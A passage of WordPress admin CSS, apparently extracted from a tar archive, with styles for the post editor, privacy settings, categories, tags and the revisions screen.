8px 10px; } #poststuff .stuffbox > h2 { border-bottom: 1px solid #f0f0f1; } #poststuff .inside { margin: 6px 0 0; } .link-php #poststuff .inside, .link-add-php #poststuff .inside { margin-top: 12px; } #poststuff .stuffbox .inside { margin: 0; } #poststuff .inside #parent_id, #poststuff .inside #page_template { max-width: 100%; } .post-attributes-label-wrapper { margin-bottom: 0.5em; } .post-attributes-label { vertical-align: baseline; font-weight: 600; } #post-visibility-select, #comment-status-radio { line-height: 1.5; margin-top: 3px; } #linksubmitdiv .inside, /* Old Link Manager back-compat. */ #poststuff #submitdiv .inside { margin: 0; padding: 0; } #post-body-content, .edit-form-section { margin-bottom: 20px; } .wp_attachment_details .attachment-content-description { margin-top: 0.5385em; display: inline-block; min-height: 1.6923em; } /** * Privacy Settings section * * Note: This section includes selectors from * Site Health where duplicate styling is used. */ /* General */ .privacy-settings #wpcontent, .privacy-settings.auto-fold #wpcontent, .site-health #wpcontent, .site-health.auto-fold #wpcontent { padding-left: 0; } /* Better position for the WordPress admin notices. */ .privacy-settings .notice, .site-health .notice { margin: 25px 20px 15px 22px; } .privacy-settings .notice ~ .notice, .site-health .notice ~ .notice { margin-top: 5px; } /* Emulates .wrap h1 styling */ .privacy-settings-header h1, .health-check-header h1 { display: inline-block; font-weight: 600; margin: 0 0.8rem 1rem; font-size: 23px; padding: 9px 0 4px; line-height: 1.3; } /* Header */ .privacy-settings-header, .health-check-header { text-align: center; margin: 0 0 1rem; background: #fff; border-bottom: 1px solid #dcdcde; } .privacy-settings-title-section, .health-check-title-section { display: flex; align-items: center; justify-content: center; clear: both; padding-top: 8px; } .privacy-settings-tabs-wrapper { /* IE 11 */ display: -ms-inline-grid; -ms-grid-columns: 1fr 1fr; vertical-align: top; /* modern browsers */ display: inline-grid; grid-template-columns: 1fr 1fr; } .privacy-settings-tab { display: block; /* IE 11 */ text-decoration: none; color: inherit; padding: 0.5rem 1rem 1rem; margin: 0 1rem; transition: box-shadow 0.5s ease-in-out; } .privacy-settings-tab:nth-child(1), .health-check-tab:nth-child(1) { -ms-grid-column: 1; /* IE 11 */ } .privacy-settings-tab:nth-child(2), .health-check-tab:nth-child(2) { -ms-grid-column: 2; /* IE 11 */ } .privacy-settings-tab:focus, .health-check-tab:focus { color: #1d2327; outline: 1px solid #787c82; box-shadow: none; } .privacy-settings-tab.active, .health-check-tab.active { box-shadow: inset 0 -3px var(--wp-admin-theme-color); font-weight: 600; } /* Body */ .privacy-settings-body, .health-check-body { max-width: 800px; margin: 0 auto; } .tools-privacy-policy-page th { min-width: 230px; } .hr-separator { margin-top: 20px; margin-bottom: 15px; } /* Accordions */ .privacy-settings-accordion, .health-check-accordion { border: 1px solid #c3c4c7; } .privacy-settings-accordion-heading, .health-check-accordion-heading { margin: 0; border-top: 1px solid #c3c4c7; font-size: inherit; line-height: inherit; font-weight: 600; color: inherit; } .privacy-settings-accordion-heading:first-child, .health-check-accordion-heading:first-child { border-top: none; } .privacy-settings-accordion-trigger, .health-check-accordion-trigger { background: #fff; border: 0; color: #2c3338; cursor: pointer; display: flex; font-weight: 400; margin: 0; padding: 1em 3.5em 1em 1.5em; min-height: 46px; position: relative; text-align: left; width: 100%; align-items: center; justify-content: space-between; -webkit-user-select: auto; user-select: auto; } .privacy-settings-accordion-trigger:hover, .privacy-settings-accordion-trigger:active, .health-check-accordion-trigger:hover, .health-check-accordion-trigger:active { background: #f6f7f7; } .privacy-settings-accordion-trigger:focus, .health-check-accordion-trigger:focus { color: #1d2327; border: none; box-shadow: none; outline-offset: -1px; outline: 2px solid var(--wp-admin-theme-color); background-color: #f6f7f7; } .privacy-settings-accordion-trigger .title, .health-check-accordion-trigger .title { pointer-events: none; font-weight: 600; flex-grow: 1; } .privacy-settings-accordion-trigger .icon, .privacy-settings-view-read .icon, .health-check-accordion-trigger .icon, .site-health-view-passed .icon { border: solid #50575e; border-width: 0 2px 2px 0; height: 0.5rem; pointer-events: none; position: absolute; right: 1.5em; top: 50%; transform: translateY(-70%) rotate(45deg); width: 0.5rem; } .privacy-settings-accordion-trigger .badge, .health-check-accordion-trigger .badge { padding: 0.1rem 0.5rem 0.15rem; color: #2c3338; font-weight: 600; } .privacy-settings-accordion-trigger .badge { margin-left: 0.5rem; } .privacy-settings-accordion-trigger .badge.blue, .health-check-accordion-trigger .badge.blue { border: 1px solid var(--wp-admin-theme-color); } .privacy-settings-accordion-trigger .badge.orange, .health-check-accordion-trigger .badge.orange { border: 1px solid #dba617; } .privacy-settings-accordion-trigger .badge.red, .health-check-accordion-trigger .badge.red { border: 1px solid #e65054; } .privacy-settings-accordion-trigger .badge.green, .health-check-accordion-trigger .badge.green { border: 1px solid #00ba37; } .privacy-settings-accordion-trigger .badge.purple, .health-check-accordion-trigger .badge.purple { border: 1px solid #2271b1; } .privacy-settings-accordion-trigger .badge.gray, .health-check-accordion-trigger .badge.gray { border: 1px solid #c3c4c7; } .privacy-settings-accordion-trigger[aria-expanded="true"] .icon, .privacy-settings-view-passed[aria-expanded="true"] .icon, .health-check-accordion-trigger[aria-expanded="true"] .icon, .site-health-view-passed[aria-expanded="true"] .icon { transform: translateY(-30%) rotate(-135deg) } .privacy-settings-accordion-panel, .health-check-accordion-panel { margin: 0; padding: 1em 1.5em; background: #fff; } .privacy-settings-accordion-panel[hidden], .health-check-accordion-panel[hidden] { display: none; } .privacy-settings-accordion-panel a .dashicons, .health-check-accordion-panel a .dashicons { text-decoration: none; } .privacy-settings-accordion-actions { justify-content: right; display: flex; align-items: center; flex-wrap: wrap; gap: 1em; } .privacy-settings-accordion-actions .success { display: none; color: #007017; } .privacy-settings-accordion-actions .success.visible { display: inline-block; } /* Suggested text for privacy policy */ .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help, /* For back-compat, see #49282 */ .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial, .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy { display: none; } .privacy-settings-accordion-panel strong.wp-policy-help, /* For back-compat, see #49282 */ .privacy-settings-accordion-panel strong.privacy-policy-tutorial { display: block; margin: 0 0 1em; } .privacy-text-copy span { pointer-events: none; } .privacy-settings-accordion-panel .wp-suggested-text > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel .wp-suggested-text div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p) { margin: 0; padding: 1em; border-left: 2px solid #787c82; } /* Media queries */ @media screen and (max-width: 782px) { .privacy-settings-body, .health-check-body { margin: 0 12px; width: auto; } .privacy-settings .notice, .site-health .notice { margin: 5px 10px 15px; } .privacy-settings .update-nag, .site-health .update-nag { margin-right: 10px; margin-left: 10px; } input#create-page { margin-top: 10px; } .wp-core-ui button.privacy-text-copy { white-space: normal; line-height: 1.8; } #edit-slug-box { padding: 0; } #editable-post-name input { min-height: 40px; } } @media only screen and (max-width: 1004px) { .privacy-settings-body, .health-check-body { margin: 0 22px; width: auto; } } /** * End Privacy Settings section */ /*------------------------------------------------------------------------------ 11.1 - Custom Fields ------------------------------------------------------------------------------*/ #postcustomstuff thead th { padding: 5px 8px 8px; background-color: #f0f0f1; } #postcustom #postcustomstuff .submit { border: 0 none; float: none; padding: 0 8px 8px; } #postcustom #postcustomstuff .add-custom-field { padding: 12px 8px 8px; } #side-sortables #postcustom #postcustomstuff .submit { margin: 0; padding: 0; } #side-sortables #postcustom #postcustomstuff #the-list textarea { height: 85px; } #side-sortables #postcustom #postcustomstuff td.left input, #side-sortables #postcustom #postcustomstuff td.left select, #side-sortables #postcustomstuff #newmetaleft a { margin: 3px 3px 0; } #postcustomstuff table { margin: 0; width: 100%; border: 1px solid #dcdcde; border-spacing: 0; background-color: #f6f7f7; } #postcustomstuff tr { vertical-align: top; } #postcustomstuff table input, #postcustomstuff table select, #postcustomstuff table textarea { width: 96%; margin: 8px; } #side-sortables #postcustomstuff table input, #side-sortables #postcustomstuff table select, #side-sortables #postcustomstuff table textarea { margin: 3px; } #postcustomstuff th.left, #postcustomstuff td.left { width: 38%; } #postcustomstuff .submit input { margin: 0; width: auto; } #postcustomstuff #newmetaleft a, #postcustomstuff #newmeta-button { display: inline-block; margin: 0 8px 8px; text-decoration: none; } .no-js #postcustomstuff #enternew { display: none; } #post-body-content .compat-attachment-fields { margin-bottom: 20px; } .compat-attachment-fields th { padding-top: 5px; padding-right: 10px; } /*------------------------------------------------------------------------------ 11.3 - Featured Images ------------------------------------------------------------------------------*/ #select-featured-image { padding: 4px 0; overflow: hidden; } #select-featured-image img { max-width: 100%; height: auto; margin-bottom: 10px; } #select-featured-image a { float: left; clear: both; } #select-featured-image .remove { display: none; margin-top: 10px; } .js #select-featured-image.has-featured-image .remove { display: inline-block; } .no-js #select-featured-image .choose { display: none; } /*------------------------------------------------------------------------------ 11.4 - Post formats ------------------------------------------------------------------------------*/ .post-format-icon::before { display: inline-block; vertical-align: middle; height: 20px; width: 20px; margin-top: -4px; margin-right: 7px; color: #dcdcde; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } a.post-format-icon:hover:before { color: #135e96; } #post-formats-select { line-height: 2; } #post-formats-select .post-format-icon::before { top: 5px; } input.post-format { margin-top: 1px; } label.post-format-icon { margin-left: 0; padding: 2px 0; } .post-format-icon.post-format-standard::before { content: "\f109"; content: "\f109" / ''; } .post-format-icon.post-format-image::before { content: "\f128"; content: "\f128" / ''; } .post-format-icon.post-format-gallery::before { content: "\f161"; content: "\f161" / ''; } .post-format-icon.post-format-audio::before { content: "\f127"; content: "\f127" / ''; } .post-format-icon.post-format-video::before { content: "\f126"; content: "\f126" / ''; } .post-format-icon.post-format-chat::before { content: "\f125"; content: "\f125" / ''; } .post-format-icon.post-format-status::before { content: "\f130"; content: "\f130" / ''; } .post-format-icon.post-format-aside::before { content: "\f123"; content: "\f123" / ''; } .post-format-icon.post-format-quote::before { content: "\f122"; content: "\f122" / ''; } .post-format-icon.post-format-link::before { content: "\f103"; content: "\f103" / ''; } /*------------------------------------------------------------------------------ 12.0 - Categories ------------------------------------------------------------------------------*/ .category-adder { margin-left: 120px; padding: 4px 0; } .category-adder h4 { margin: 0 0 8px; } #side-sortables .category-adder { margin: 0; } .wp-tab-panel, .categorydiv div.tabs-panel, .customlinkdiv div.tabs-panel, .posttypediv div.tabs-panel, .taxonomydiv div.tabs-panel { min-height: 42px; max-height: 200px; overflow: auto; padding: 0 0.9em; border: solid 1px #dcdcde; background-color: #fff; } div.tabs-panel-active { display: block; } div.tabs-panel-inactive { display: none; } div.tabs-panel-active:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .options-discussion-php .indent-children ul, #front-page-warning, #front-static-pages ul, ul.export-filters, .inline-editor ul.cat-checklist ul, .categorydiv ul.categorychecklist ul, .customlinkdiv ul.categorychecklist ul, .posttypediv ul.categorychecklist ul, .taxonomydiv ul.categorychecklist ul { margin-left: 18px; } ul.categorychecklist li { margin: 0; padding: 0; line-height: 1.69230769; word-wrap: break-word; } .categorydiv .tabs-panel, .customlinkdiv .tabs-panel, .posttypediv .tabs-panel, .taxonomydiv .tabs-panel { border-width: 3px; border-style: solid; } .form-wrap label { display: block; padding: 2px 0; } .form-field input[type="text"], .form-field input[type="password"], .form-field input[type="email"], .form-field input[type="number"], .form-field input[type="search"], .form-field input[type="tel"], .form-field input[type="url"], .form-field textarea { border-style: solid; border-width: 1px; width: 95%; } .form-field select, .form-field p { max-width: 95%; } p.description, .form-wrap p { margin: 2px 0 5px; color: #646970; } p.help, p.description, span.description, .form-wrap p { font-size: 13px; } p.description code { font-style: normal; } p.description code, .form-wrap p code { color: #50575e; } .form-wrap .form-field { margin: 1em 0; padding: 0; } .col-wrap h2 { margin: 12px 0; font-size: 1.1em; } .col-wrap p.submit { margin-top: -10px; } .edit-term-notes { margin-top: 2em; } /*------------------------------------------------------------------------------ 13.0 - Tags ------------------------------------------------------------------------------*/ #poststuff .tagsdiv .ajaxtag { margin-top: 1em; display: flex; gap: 8px; align-items: center; } #poststuff .tagsdiv .howto { margin: 1em 0 6px; } .ajaxtag .newtag { position: relative; } .tagsdiv .newtag { flex: 1; min-width: 0; } .tagsdiv .the-tags { display: block; height: 60px; margin: 0 auto; overflow: auto; width: 260px; } #post-body-content .tagsdiv .the-tags { margin: 0 5px; } p.popular-tags { border: none; line-height: 2em; padding: 8px 12px 12px; text-align: justify; } p.popular-tags a { padding: 0 3px; } .tagcloud { width: 97%; margin: 0 0 40px; text-align: justify; } .tagcloud h2 { margin: 2px 0 12px; } #poststuff .inside .the-tagcloud { margin: 5px 0 10px; padding: 8px; border: 1px solid #dcdcde; line-height: 1.2; word-spacing: 3px; } .the-tagcloud ul { margin: 0; } .the-tagcloud ul li { display: inline-block; } /* Back-compat styles from deprecated jQuery.suggest, see ticket #40260. */ .ac_results { display: none; margin: -1px 0 0; padding: 0; list-style: none; position: absolute; z-index: 10000; border: 1px solid #4f94d4; background-color: #fff; } .wp-customizer .ac_results { z-index: 500000; } .ac_results li { margin: 0; padding: 5px 10px; white-space: nowrap; text-align: left; } .ac_results .ac_over, .ac_over .ac_match { background-color: #2271b1; color: #fff; cursor: pointer; } .ac_match { text-decoration: underline; } #addtag .spinner { float: none; vertical-align: top; } #edittag { max-width: 800px; } .edit-tag-actions { display: flex; align-items: center; gap: 8px; margin-top: 20px; } /* Comments */ .comment-php .wp-editor-area { height: 200px; } .comment-ays th, .comment-ays td { padding: 10px 15px; } .comment-ays .comment-content ul { list-style: initial; margin-left: 2em; } .comment-ays .comment-content a[href]:after { content: "(" attr( href ) ")"; display: inline-block; padding: 0 4px; color: #646970; font-size: 13px; word-break: break-all; } .comment-ays .comment-content p.edit-comment { margin-top: 10px; } .comment-ays .comment-content p.edit-comment a[href]:after { content: ""; padding: 0; } .comment-ays-submit .button-cancel { margin-left: 1em; } .trash-undo-inside, .spam-undo-inside { margin: 1px 8px 1px 0; line-height: 1.23076923; } .spam-undo-inside .avatar, .trash-undo-inside .avatar { height: 20px; width: 20px; margin-right: 8px; vertical-align: middle; } .stuffbox .editcomment { clear: none; margin-top: 0; } #namediv.stuffbox .editcomment input { width: 100%; } #namediv.stuffbox .editcomment.form-table td { padding: 10px; } #comment-status-radio p { margin: 3px 0 5px; } #comment-status-radio input { margin: 2px 3px 5px 0; vertical-align: middle; } #comment-status-radio label { padding: 5px 0; } /* links tables */ table.links-table { width: 100%; border-spacing: 0; } .links-table th { font-weight: 400; text-align: left; vertical-align: top; min-width: 80px; width: 20%; word-wrap: break-word; } .links-table th, .links-table td { padding: 5px 0; } .links-table td label { margin-right: 8px; } .links-table td input[type="text"], .links-table td textarea { width: 100%; } .links-table #link_rel { max-width: 280px; } /* DFW 2 -------------------------------------------------------------- */ #qt_content_dfw { display: none; } .wp-editor-expand #qt_content_dfw { display: inline-block; } .focus-on .wrap > h1, .focus-on .page-title-action, .focus-on #wpfooter, .focus-on .postbox-container > *, .focus-on div.updated, .focus-on div.error, .focus-on div.notice, .focus-on .update-nag, .focus-on #wp-toolbar, .focus-on #screen-meta-links, .focus-on #screen-meta { opacity: 0; transition-duration: 0.6s; transition-property: opacity; transition-timing-function: ease-in-out; } .focus-on #wp-toolbar { opacity: 0.3; } .focus-off .wrap > h1, .focus-off .page-title-action, .focus-off #wpfooter, .focus-off .postbox-container > *, .focus-off div.updated, .focus-off div.error, .focus-off div.notice, .focus-off .update-nag, .focus-off #wp-toolbar, .focus-off #screen-meta-links, .focus-off #screen-meta { opacity: 1; transition-duration: 0.2s; transition-property: opacity; transition-timing-function: ease-in-out; } .focus-off #wp-toolbar { -webkit-transform: translate(0, 0); } .focus-on #adminmenuback, .focus-on #adminmenuwrap { transition-duration: 0.6s; transition-property: transform; transition-timing-function: ease-in-out; } .focus-on #adminmenuback, .focus-on #adminmenuwrap { transform: translateX( -100% ); } .focus-off #adminmenuback, .focus-off #adminmenuwrap { transform: translateX( 0 ); transition-duration: 0.2s; transition-property: transform; transition-timing-function: ease-in-out; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { #content-resize-handle, #post-body .wp_themeSkin .mceStatusbar a.mceResize { background: transparent url(../images/resize-2x.gif) no-repeat scroll right bottom; background-size: 11px 11px; } /*rtl:ignore*/ .rtl #content-resize-handle, .rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize { background-image: url(../images/resize-rtl-2x.gif); background-position: left bottom; } } /* * The edit attachment screen auto-switches to one column layout when the * viewport is smaller than 1200 pixels. */ @media only screen and (max-width: 1200px) { .post-type-attachment #poststuff { min-width: 0; } .post-type-attachment #wpbody-content #poststuff #post-body { margin: 0; } .post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1 { margin-right: 0; width: 100%; } .post-type-attachment #poststuff #postbox-container-1 .empty-container, .post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty { outline: none; height: 0; min-height: 0; } .post-type-attachment #poststuff #post-body.columns-2 #side-sortables { min-height: 0; width: auto; } .is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables { border: none; background: transparent; min-height: 0; margin-bottom: 0; } /* hide the radio buttons for column prefs */ .post-type-attachment .screen-layout, .post-type-attachment .columns-prefs { display: none; } } /* one column on the post write/edit screen */ @media only screen and (max-width: 850px) { #poststuff { min-width: 0; } #wpbody-content #poststuff #post-body { margin: 0; } #wpbody-content #post-body.columns-2 #postbox-container-1 { margin-right: 0; width: 100%; } #poststuff #postbox-container-1 .empty-container, #poststuff #postbox-container-1 #side-sortables:empty { height: 0; min-height: 0; } #poststuff #post-body.columns-2 #side-sortables { min-height: 0; width: auto; } /* Increase min-height while dragging for the #side-sortables and any potential sortables area with custom ID. */ .is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container, .is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty, .is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables, .is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables { height: auto; min-height: 60px; } /* hide the radio buttons for column prefs */ .screen-layout, .columns-prefs { display: none; } } @media screen and (max-width: 782px) { .wp-core-ui .edit-tag-actions .button-primary { margin-bottom: 0; } #post-body-content { min-width: 0; } #titlediv #title-prompt-text { padding: 10px; } #poststuff .stuffbox .inside { padding: 0 2px 4px 0; } #poststuff h3.hndle, /* Back-compat for pre-4.4 */ #poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */ #poststuff h2 { padding: 12px; } #namediv.stuffbox .editcomment.form-table td { padding: 5px 10px; } .post-format-options { padding-right: 0; } .post-format-options a { margin-right: 5px; margin-bottom: 5px; min-width: 52px; } .post-format-options .post-format-title { font-size: 11px; } .post-format-options a div { height: 28px; width: 28px; } .post-format-options a div:before { font-size: 26px !important; } /* Publish Metabox Options */ #post-visibility-select { line-height: 280%; } .wp-core-ui .save-post-visibility, .wp-core-ui .save-timestamp { vertical-align: middle; margin-right: 15px; } .timestamp-wrap select#mm { display: block; width: 100%; margin-bottom: 10px; } .timestamp-wrap #jj, .timestamp-wrap #aa, .timestamp-wrap #hh, .timestamp-wrap #mn { padding: 12px 3px; font-size: 14px; margin-bottom: 5px; width: auto; text-align: center; } /* Categories Metabox */ ul.category-tabs { margin: 30px 0 15px; } ul.category-tabs li.tabs { padding: 15px; } ul.categorychecklist li { margin-bottom: 15px; } ul.categorychecklist ul { margin-top: 15px; } .category-add input[type=text], .category-add select { max-width: none; margin-bottom: 15px; } /* Tags Metabox */ .tagsdiv .newtag { flex: 1; min-width: 0; height: auto; margin-bottom: 0; } .tagchecklist { margin: 25px 10px; } .tagchecklist > li { font-size: 16px; line-height: 1.4; } /* Discussion */ #commentstatusdiv p { line-height: 2.8; } /* TinyMCE Adjustments */ .mceToolbar * { white-space: normal !important; } .mceToolbar tr, .mceToolbar td { float: left !important; } .wp_themeSkin a.mceButton { width: 30px; height: 30px; } .wp_themeSkin .mceButton .mceIcon { margin-top: 5px; margin-left: 5px; } .wp_themeSkin .mceSplitButton { margin-top: 1px; } .wp_themeSkin .mceSplitButton td a.mceAction { padding: 6px 3px 6px 6px; } .wp_themeSkin .mceSplitButton td a.mceOpen, .wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen { padding-top: 6px; padding-bottom: 6px; background-position: 1px 6px; } .wp_themeSkin table.mceListBox { margin: 5px; } div.quicktags-toolbar input { padding: 10px 20px; } button.wp-switch-editor { font-size: 16px; line-height: 1; margin: 7px 0 0 7px; padding: 8px 12px; } #wp-content-media-buttons a { font-size: 14px; padding: 6px 10px; } .wp-media-buttons span.wp-media-buttons-icon, .wp-media-buttons span.jetpack-contact-form-icon { width: 22px !important; margin-left: -2px !important; } .wp-media-buttons .add_media span.wp-media-buttons-icon:before, .wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before { font-size: 20px !important; } #content_wp_fullscreen { display: none; } .misc-pub-section { padding: 12px 10px; } #delete-action, #publishing-action { line-height: 3.61538461; } #publishing-action .spinner { float: none; margin-top: -2px; /* Half of the Publish button's bottom margin. */ } /* Moderate Comment */ .comment-ays th, .comment-ays td { padding-bottom: 0; } .comment-ays td { padding-top: 6px; } /* Links */ .links-table #link_rel { max-width: none; } .links-table th, .links-table td { padding: 10px 0; } .edit-term-notes { display: none; } .privacy-text-box { width: auto; } .privacy-text-box-toc { float: none; width: auto; height: 100%; display: flex; flex-direction: column; } .privacy-text-section .return-to-top { margin: 2em 0 0; } } css/revisions.css 0000644 00000024740 15233246127 0010103 0 ustar 00 /*------------------------------------------------------------------------------ 11.2 - Post Revisions ------------------------------------------------------------------------------*/ .revisions-control-frame, .revisions-diff-frame { position: relative; } .revisions-diff-frame { top: 10px; } .revisions-controls { padding-top: 40px; z-index: 1; } .revisions-controls input[type="checkbox"] { position: relative; top: -1px; vertical-align: text-bottom; } .revisions.pinned .revisions-controls { position: fixed; top: 0; height: 82px; background: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .revisions-tickmarks { position: relative; margin: 0 auto; height: 0.7em; top: 7px; max-width: 70%; box-sizing: border-box; background-color: #fff; } .revisions-tickmarks > div { position: absolute; height: 100%; border-left: 1px solid #a7aaad; box-sizing: border-box; } .revisions-tickmarks > div:first-child { border-width: 0; } .comparing-two-revisions .revisions-controls { height: 140px; } .comparing-two-revisions.pinned .revisions-controls { height: 124px; } .revisions .diff-error { position: absolute; text-align: center; margin: 0 auto; width: 100%; display: none; } .revisions.diff-error .diff-error { display: block; } .revisions .loading-indicator { position: absolute; vertical-align: middle; opacity: 0; width: 100%; width: calc( 100% - 30px ); top: 50%; top: calc( 50% - 10px ); transition: opacity 0.5s; } body.folded .revisions .loading-indicator { margin-left: -32px; } .revisions .loading-indicator span.spinner { display: block; margin: 0 auto; float: none; } .revisions.loading .loading-indicator { opacity: 1; } .revisions .diff { transition: opacity 0.5s; } .revisions.loading .diff { opacity: 0.5; } .revisions.diff-error .diff { visibility: hidden; } .revisions-meta { margin-top: 20px; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); overflow: hidden; } .revisions.pinned .revisions-meta { box-shadow: none; } .revision-toggle-compare-mode { position: absolute; top: 0; right: 0; } .comparing-two-revisions .revisions-previous, .comparing-two-revisions .revisions-next, .revisions-meta .diff-meta-to strong { display: none; } .revisions-controls .author-card .date { color: #646970; } .revisions-controls .author-card.autosave { color: #d63638; } .revisions-controls .author-card .author-name { font-weight: 600; } .comparing-two-revisions .diff-meta-to strong { display: block; } .revisions.pinned .revisions-buttons { padding: 0 11px; } .revisions-previous, .revisions-next { position: relative; z-index: 1; } .revisions-previous { float: left; } .revisions-next { float: right; } .revisions-controls .wp-slider { max-width: 70%; margin: 0 auto; top: -3px; } .revisions-diff { padding: 15px; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .revisions-diff h3:first-child { margin-top: 0; } /* Revision meta box */ .post-revisions li img, #revisions-meta-restored img { vertical-align: middle; } table.diff { table-layout: fixed; width: 100%; white-space: pre-wrap; } table.diff col.content { width: auto; } table.diff col.content.diffsplit { width: 48%; } table.diff col.diffsplit.middle { width: auto; } table.diff col.ltype { width: 30px; } table.diff tr { background-color: transparent; } table.diff td, table.diff th { font-family: Consolas, Monaco, monospace; font-size: 14px; line-height: 1.57142857; padding: 0.5em 0.5em 0.5em 2em; vertical-align: top; word-wrap: break-word; } table.diff td h1, table.diff td h2, table.diff td h3, table.diff td h4, table.diff td h5, table.diff td h6 { margin: 0; } table.diff .diff-deletedline del, table.diff .diff-addedline ins { text-decoration: none; } table.diff .diff-deletedline { position: relative; background-color: #fcf0f1; } table.diff .diff-deletedline del { background-color: #ffabaf; } table.diff .diff-addedline { position: relative; background-color: #edfaef; } table.diff .diff-deletedline .dashicons, table.diff .diff-addedline .dashicons { position: absolute; top: 0.85714286em; left: 0.5em; width: 1em; height: 1em; font-size: 1em; line-height: 1; } table.diff .diff-addedline .dashicons { /* Compensate the vertically non-centered plus glyph. */ top: 0.92857143em; } table.diff .diff-addedline ins { background-color: #68de7c; } .diff-meta { padding: 5px; clear: both; min-height: 32px; } .diff-title strong { line-height: 2.46153846; min-width: 60px; text-align: right; float: left; margin-right: 5px; } .revisions-controls .author-card .author-info { font-size: 12px; line-height: 1.33333333; } .revisions-controls .author-card .avatar, .revisions-controls .author-card .author-info { float: left; margin-left: 6px; margin-right: 6px; } .revisions-controls .author-card .byline { display: block; font-size: 12px; } .revisions-controls .author-card .avatar { vertical-align: middle; } .diff-meta input.restore-revision { float: right; margin-left: 6px; margin-right: 6px; } .diff-meta-from { display: none; } .comparing-two-revisions .diff-meta-from { display: block; } .revisions-tooltip { position: absolute; bottom: 105px; margin-right: 0; margin-left: -69px; z-index: 0; max-width: 350px; min-width: 130px; padding: 8px 4px; display: none; opacity: 0; } .revisions-tooltip.flipped { margin-left: 0; margin-right: -70px; } .revisions.pinned .revisions-tooltip { display: none !important; } .comparing-two-revisions .revisions-tooltip { bottom: 145px; } .revisions-tooltip-arrow { width: 70px; height: 15px; overflow: hidden; position: absolute; left: 0; margin-left: 35px; bottom: -15px; } .revisions-tooltip.flipped .revisions-tooltip-arrow { margin-left: 0; margin-right: 35px; left: auto; right: 0; } .revisions-tooltip-arrow > span { content: ""; position: absolute; left: 20px; top: -20px; width: 25px; height: 25px; transform: rotate(45deg); } .revisions-tooltip.flipped .revisions-tooltip-arrow > span { left: auto; right: 20px; } .revisions-tooltip, .revisions-tooltip-arrow > span { border: 1px solid #dcdcde; background-color: #fff; } .revisions-tooltip { display: none; } .arrow { width: 70px; height: 16px; overflow: hidden; position: absolute; left: 0; margin-left: -35px; bottom: 90px; z-index: 10000; } .arrow:after { z-index: 9999; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .arrow.top { top: -16px; bottom: auto; } .arrow.left { left: 20%; } .arrow:after { content: ""; position: absolute; left: 20px; top: -20px; width: 25px; height: 25px; transform: rotate(45deg); } .revisions-tooltip, .revisions-tooltip-arrow:after { border-width: 1px; border-style: solid; } div.revisions-controls > .wp-slider > .ui-slider-handle { margin-left: -10px; } .rtl div.revisions-controls > .wp-slider > .ui-slider-handle { margin-right: -10px; } /* jQuery UI Slider */ .wp-slider.ui-slider { position: relative; border: 1px solid #dcdcde; text-align: left; cursor: pointer; } .wp-slider .ui-slider-handle { border-radius: 50%; height: 18px; margin-top: -5px; outline: none; padding: 2px; position: absolute; width: 18px; z-index: 2; touch-action: none; } .wp-slider .ui-slider-handle { background: #f6f7f7; border: 1px solid #c3c4c7; box-shadow: 0 1px 0 #c3c4c7; } .wp-slider .ui-slider-handle:hover, .wp-slider .ui-slider-handle.ui-state-hover { background: #f6f7f7; border-color: #8c8f94; } .wp-slider .ui-slider-handle:active, .wp-slider .ui-slider-handle.ui-state-active { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); transform: translateY(1px); } .wp-slider .ui-slider-handle:focus, .wp-slider .ui-slider-handle.ui-state-focus { background: #f0f0f1; border-color: #8c8f94; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-slider .ui-slider-handle:before { background: none; position: absolute; top: 2px; left: 2px; color: #50575e; content: "\f229"; content: "\f229" / ''; font: normal 18px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-slider .ui-slider-handle:hover:before, .wp-slider .ui-slider-handle.ui-state-hover:before { color: #1d2327; } .wp-slider .ui-slider-handle.from-handle:before, .wp-slider .ui-slider-handle.to-handle:before { font-size: 20px !important; margin: -1px 0 0 -1px; } .wp-slider .ui-slider-handle.from-handle:before { content: "\f139"; content: "\f139" / ''; } .wp-slider .ui-slider-handle.to-handle:before { content: "\f141"; content: "\f141" / ''; } .rtl .wp-slider .ui-slider-handle.from-handle:before { content: "\f141"; content: 